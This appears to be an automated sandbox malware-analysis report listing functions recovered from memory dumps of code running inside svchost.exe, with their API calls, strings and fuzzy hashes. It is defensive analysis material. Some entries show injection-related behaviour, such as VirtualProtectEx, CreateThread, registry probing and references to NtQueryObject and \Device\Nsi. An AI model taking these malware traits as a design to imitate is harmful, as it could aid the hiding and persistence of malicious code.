Function 0000026A8799A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A8799A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000026A8799A288

Strings

csm, xrefs: 0000026A8799A1C2
csm, xrefs: 0000026A8799A2DA

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 24b885a40865372f2d4962931c6dd4c13311282acb065aa2b8f2b100d7f859d2
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A251A032100380CAFBF48F25954839C77A0F355BA4F189216DB99A7BD5CB3AD490DF02

Function 0000026A87998405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A87998413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879984A8

Strings

f, xrefs: 0000026A87998426
csm, xrefs: 0000026A8799848E

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 8bc6e4c2ed6fb3d0b116afd45bb950e03d86cb73ff22765c23392437f1fb0b44
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 8051DD327122009BFB94CF15E488F1C37A9F354B98F568168DA0A67788EB36D885CF07

Function 0000026A879983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A87998413
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879984A8

Strings

f, xrefs: 0000026A87998426
csm, xrefs: 0000026A8799848E

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 6434e668c18de7f899a849f0e788a6f9301be5892d0fc4d1102cc1fdd749815e
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: A1319C32211740AAF794DF11E888F1D77A9F740B98F568018EE5B67788DB3AC945CB06

Function 0000026A879D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 0000026A879D20D7
WriteFile.KERNEL32 ref: 0000026A879D239F
WriteFile.KERNEL32 ref: 0000026A879D23E5
GetLastError.KERNEL32 ref: 0000026A879D249B

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 3076751dc3de790d1c224386df8ee1f4e5ab8c71f6f65ab3a3bed05673c9e6dc
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 88D10132B14A8089EB51CFB9D4483AC3FB1F754BD8F108216DE5DA7B99DA3AC446CB41

Function 0000026A879C14A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C14C5
HeapFree.KERNEL32 ref: 0000026A879C14D4
GetProcessHeap.KERNEL32 ref: 0000026A879C14E1
HeapFree.KERNEL32 ref: 0000026A879C14F0
GetProcessHeap.KERNEL32 ref: 0000026A879C1500

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction ID: 8a01ecca636f93bdf911fe9301806ba74427497ad84442dbc2d131ee4094cafd
Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
Instruction Fuzzy Hash: 9F115B76604A91D6E794DFA6A80814D7FA0FB8AFC5F084025EA4963716EE39C451CB41

Function 0000026A879D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 0000026A879D2A9C
GetLastError.KERNEL32 ref: 0000026A879D2B27

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: a659f95e0478c9a379e7c93a59f58379ea217171002cffd52b577c1c22c3c908
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 9391D032700A5085FBA0DF7594883AD3FA0F759B98F644109DE4A77A94DB7EC8C2CB02

Function 0000026A879C7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 0000026A879C798C
GetCurrentThreadId.KERNEL32 ref: 0000026A879C799A
GetCurrentProcessId.KERNEL32 ref: 0000026A879C79A6
QueryPerformanceCounter.KERNEL32 ref: 0000026A879C79B6

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 4e80524f35fcef7bad59f85813724d52d64db0f3f33ffe74409acc95bda1e77e
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: A4115A32710F018AEB90DF60E8583AC37B4F31A758F440E21EA6D537A4EB78C1988780

Function 0000026A879C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C2620
StrCpyW.SHLWAPI ref: 0000026A879C2639

Strings

\\.\pipe\, xrefs: 0000026A879C262B

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 97ea5c88fb40b65250efba85239deb6fe808c8ef7dc44d6fea174178200e4e45
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: E671B636200B8186EFB5DF25D8993AE77A4F3C9B84F550026DD0963B89DE36D685CB02

Function 0000026A87999E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 0000026A87999EB7

Strings

RCC, xrefs: 0000026A87999E85
MOC, xrefs: 0000026A87999E7C

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: e083ef4e6a99dc2faf5a08287110857988fabb0183ff147dc1fcf3667f8f1dd1
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 33618B33A05B848AFBA0DFA5D48439D77B0F398B98F044215EF4927B98DB3AD595CB01

Function 0000026A879C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 0000026A879C2416
StrCpyW.SHLWAPI ref: 0000026A879C242D

Strings

\\.\pipe\, xrefs: 0000026A879C2421

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: a2f76bc1a186076cee4736489c3d4438f40eba79840f7ba633a66ebf323134d9
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: EA51C43220478182FFB4DB2AA45C3AEBB91F3D5780F450125DE5A27B99DA3BC585CF42

Function 0000026A879D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 0000026A879D2807
GetLastError.KERNEL32 ref: 0000026A879D2829

Strings

U, xrefs: 0000026A879D27B3

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 5c34eae6179e8718e065711947d23fa5df45d25b207243dff04b03615aa00afe
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 8541A433715A8086DBA0DF25E8483ADBFA1F798794F944021EE4D97794EB7DC441CB41

Function 0000026A879C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 0000026A879C94F0
RaiseException.KERNEL32 ref: 0000026A879C9531

Strings

csm, xrefs: 0000026A879C951E

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 516278ab517d9276ea0f4953800809262020678c9f6335137ecd7ce881f65308
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 3D112836214B8082EBA18B15E44835DBBE5FB99BA4F584225EF8C17B68DF3DC551CB00

Function 0000026A87997356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000026A8799737C

Strings

riptor at (, xrefs: 0000026A87997364
ierarchy Descriptor', xrefs: 0000026A87997381

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 290368697319c93d0959a6d4aceff4e73c937a6d0c9df6ff90baa51795892e9d
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: CFE08671741B4490DF418F21E88469C73A1DBA8B64F889122995C1B311FA38D1E9C702

Function 0000026A879973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 0000026A879973D8

Strings

Locator', xrefs: 0000026A879973DD
riptor at (, xrefs: 0000026A879973C0

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 57ea791ecea9af06e65d832b1adcba3d40aeefbf742ffe7567ba952dade77035
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 19E08671701B4490DF418F21E48069C7361E7A8B54F889122C94C1B311EA38D1E5C701

Function 0000026A879C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C1C2D
HeapAlloc.KERNEL32 ref: 0000026A879C1C3B
GetProcessHeap.KERNEL32 ref: 0000026A879C1C77
HeapFree.KERNEL32 ref: 0000026A879C1C85

Part of subcall function 0000026A879C152C: StrCmpIW.SHLWAPI ref: 0000026A879C155D

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 7016fa5795a79e5502fdc21d921c24760b1a256b601511705076004f3255fffb
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: A8119175641B4482EE94DF66A40C22D7BA1FBCAFC0F184025EE4D63766EF3AC442C741

Function 0000026A879C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C126E
HeapAlloc.KERNEL32 ref: 0000026A879C127D
GetProcessHeap.KERNEL32 ref: 0000026A879C1297
HeapAlloc.KERNEL32 ref: 0000026A879C12A8

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: b1c6b37d2b3670007f77e6ad3635e51a98d0f2eb219863f2620388776d6560d5
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 08E06D3560160486EB44CFA2D80C34E3EE1FB8AF86F04C024C90907351DF7EC499CB51

Analysis Process: svchost.exePID: 356, Parent PID: 7648COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	471
Total number of Limit Nodes:	3

Executed Functions

Function 00000179537A1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A126E
HeapAlloc.KERNEL32 ref: 00000179537A127D
GetProcessHeap.KERNEL32 ref: 00000179537A1297
HeapAlloc.KERNEL32 ref: 00000179537A12A8

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: e4bf16918a7cacbca0db979268ad85abf1fead3538016a29a4f8caa0c503e4bd
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 6AE06D35A0161886EB058F62D82838A37F1FB8AF0AF04C024CA8D47351EF7D8499C750

Function 00000179537AF1EC Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00000179537AF205
FreeEnvironmentStringsW.KERNEL32 ref: 00000179537AF277

Part of subcall function 00000179537ACA0C: HeapAlloc.KERNEL32 ref: 00000179537ACA4A

FreeEnvironmentStringsW.KERNEL32 ref: 00000179537AF2D6

Part of subcall function 00000179537AD744: HeapFree.KERNEL32 ref: 00000179537AD75A
Part of subcall function 00000179537AD744: GetLastError.KERNEL32 ref: 00000179537AD764

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: EnvironmentFreeStrings$Heap$AllocErrorLast
String ID:
API String ID: 3331406755-0
Opcode ID: 987753ff894a599cb567346e89517f1ee9597d4cd7e0ed4d9062b173d8f816d4
Instruction ID: e89af08d413403d6e5d7482309db2184f3715486d0e1cd70b0b3824db1cad727
Opcode Fuzzy Hash: 987753ff894a599cb567346e89517f1ee9597d4cd7e0ed4d9062b173d8f816d4
Instruction Fuzzy Hash: 4C31B431A6876081EA269F226C502DE77B4B786BD8F48422BEA9E43BC5DF38C5458704

Function 00000179537A328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000179537A32AE
PathFindFileNameW.SHLWAPI ref: 00000179537A32BD

Part of subcall function 00000179537A3844: StrCmpNIW.SHLWAPI ref: 00000179537A385C

Part of subcall function 00000179537A3790: GetModuleHandleW.KERNEL32 ref: 00000179537A379E
Part of subcall function 00000179537A3790: GetCurrentProcess.KERNEL32 ref: 00000179537A37CC
Part of subcall function 00000179537A3790: VirtualProtectEx.KERNEL32 ref: 00000179537A37EE
Part of subcall function 00000179537A3790: GetCurrentProcess.KERNEL32 ref: 00000179537A3809
Part of subcall function 00000179537A3790: VirtualProtectEx.KERNEL32 ref: 00000179537A382A

CreateThread.KERNEL32 ref: 00000179537A330B

Part of subcall function 00000179537A1D14: GetCurrentThread.KERNEL32 ref: 00000179537A1D1F

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: ca808a076cef636c667c28671c52d662c11ceeea05346f25545d2e4f9369c430
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 5F116130E3C66482FB629FB1F8557D923B4E76A34DF544127DA4E42B91EF78C04C8610

Function 00000179537A1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000179537A1628: GetProcessHeap.KERNEL32 ref: 00000179537A1633
Part of subcall function 00000179537A1628: HeapAlloc.KERNEL32 ref: 00000179537A1642
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A16B2
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A16DF
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A16F9
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1719
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1734
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1754
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A176F
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A178F
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A17AA
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A17CA

Sleep.KERNEL32 ref: 00000179537A1AD7
SleepEx.KERNELBASE ref: 00000179537A1ADD

Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A17E5
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1805
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1820
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A1840
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A185B
Part of subcall function 00000179537A1628: RegOpenKeyExW.ADVAPI32 ref: 00000179537A187B
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A1896
Part of subcall function 00000179537A1628: RegCloseKey.ADVAPI32 ref: 00000179537A18A0

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b6c2e1d6c864596a4c04fdf18bbbf5071076cb135f023add6302ffefab344da2
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 04313271F2866582FF529B36DA413E923F4AB46BC8F8854239E0D873D5FF24C859C610

Function 00000179537A3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000179537A385C

Strings

dialer, xrefs: 00000179537A3855

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: dbbf6158d5080c7e4a12ec2d32b33ddd1bdad48742ffa41caff3c02827982d81
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 7AD0A770B252558BFF56DFE688D46E02370EB0974CF884032C90802750EB1CD98DA720

Function 000001795377273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001795377285E

Memory Dump Source

Source File: 0000002E.00000002.3134494005.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_17953770000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: aa063f8f75c6740ade699a4d29bdcc33ceee5f26798b0015945cd0de14dc5192
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: E6613532F096A087DB56CF15D0007ADB3F2F756BA8F188122CE6D17788DA38D866DB00

Non-executed Functions

Function 00000179537A2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000179537A2BD0
lstrlenW.KERNEL32 ref: 00000179537A2E0A

Part of subcall function 00000179537A199C: OpenProcess.KERNEL32 ref: 00000179537A19C2
Part of subcall function 00000179537A199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A19E0
Part of subcall function 00000179537A199C: PathFindFileNameW.SHLWAPI ref: 00000179537A19EF
Part of subcall function 00000179537A199C: lstrlenW.KERNEL32 ref: 00000179537A19FB
Part of subcall function 00000179537A199C: StrCpyW.SHLWAPI ref: 00000179537A1A0E
Part of subcall function 00000179537A199C: CloseHandle.KERNEL32 ref: 00000179537A1A1C

GetProcAddress.KERNEL32 ref: 00000179537A2BE5

Part of subcall function 00000179537A152C: StrCmpIW.SHLWAPI ref: 00000179537A155D

Part of subcall function 00000179537A3844: StrCmpNIW.SHLWAPI ref: 00000179537A385C

StrCmpNIW.SHLWAPI ref: 00000179537A2C28
lstrlenW.KERNEL32 ref: 00000179537A2D50

Strings

ntdll.dll, xrefs: 00000179537A2BC9
NtQueryObject, xrefs: 00000179537A2BDB
\Device\Nsi, xrefs: 00000179537A2C1B

Memory Dump Source

Source File: 0000002E.00000002.3134958889.00000179537A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_179537a0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: a68df60460c540e5a9242f56c6b8bfc5263ec75fa9e1868138209c41af1d70d8
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 0BB1BF72A28AA092EB6A8F25C4447E963B5F74AB8CF445017EE4D53B95EF35CCC8C740

Function 00000179537A7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000179537A7DAC
RtlCaptureContext.NTDLL ref: 00000179537A7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000179537A7DF3
RtlVirtualUnwind.NTDLL ref: 00000179537A7E34
IsDebuggerPresent.KERNEL32 ref: 00000179537A7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000179537A7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000179537A7EB4

Memory Dump Source

